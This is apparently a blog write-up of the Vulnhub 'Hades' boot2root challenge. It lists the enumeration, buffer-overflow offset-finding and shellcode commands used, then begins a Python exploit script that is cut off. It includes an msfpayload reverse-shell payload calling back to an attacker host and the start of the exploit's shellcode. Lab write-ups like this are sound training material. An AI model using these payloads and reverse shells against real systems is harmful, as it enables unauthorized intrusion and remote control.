cracking the infernal hades

 

About a month ago, Vulnhub released a boot2root image built by Lok_Sigma called Hades. The box promised to be full of annoyances and it delivered them in droves. Requiring a combination of exploit development, reverse engineering and some out of the box thinking, I really enjoyed this challenge. I decided to share my solution now that the competition is over. It goes without saying this post has a lot of SPOILERS!

Big thanks go out to the Vulnhub team for the awesome work they do. Follow them on Twitter to keep up with the latest releases.

If you want to tackle Hades yourself, you can grab a copy of the machine here.

Enjoy

 

Commands Used

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Host Discovery
netdiscover -r 10.0.0.0/24
# Service Enumeration
nmap -v -sS -T4 -n -p- 10.0.0.129 && us -mU -v -p 1-65535 10.0.0.129
# Base64 Decryption
base64 -d ssh-hades > hades.bin
# Pattern Creation
/opt/metasploit-framework/tools/pattern_create 1000
# Offset Search
/opt/metasploit-framework/tools/pattern_offset.rb Af7A
/opt/metasploit-framework/tools/pattern_offset.rb 5Af6
/opt/metasploit-framework/tools/pattern_offset.rb 0x34654133
# Finding Assembly Shellcode
/opt/metasploit-framework/tools/metasm_shell.rb
metasm> jmp $esp+80
# Reverse Shell Payload
msfpayload linux/x86/shell_reverse_tcp LHOST=10.0.0.130 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -b \x00\x0a\x0d -t python
# Improved Shell
python -c "import pty; pty.spawn('/bin/sh')"
# File Decryption
openssl enc -d -aes-256-cbc -in flag.txt.enc -out flag.txt -pass file:key_file

 

Finished Exploit – Hades

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
import socket, struct
target = '10.0.0.129'
port = 65535
# Shellcode
# msfpayload linux/x86/shell_reverse_tcp LHOST=10.0.0.130 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -b \x00\x0a\x0d -t python
# [*] x86/shikata_ga_nai succeeded with size 95 (iteration=1)
buf =  ""
buf += "\xda\xc7\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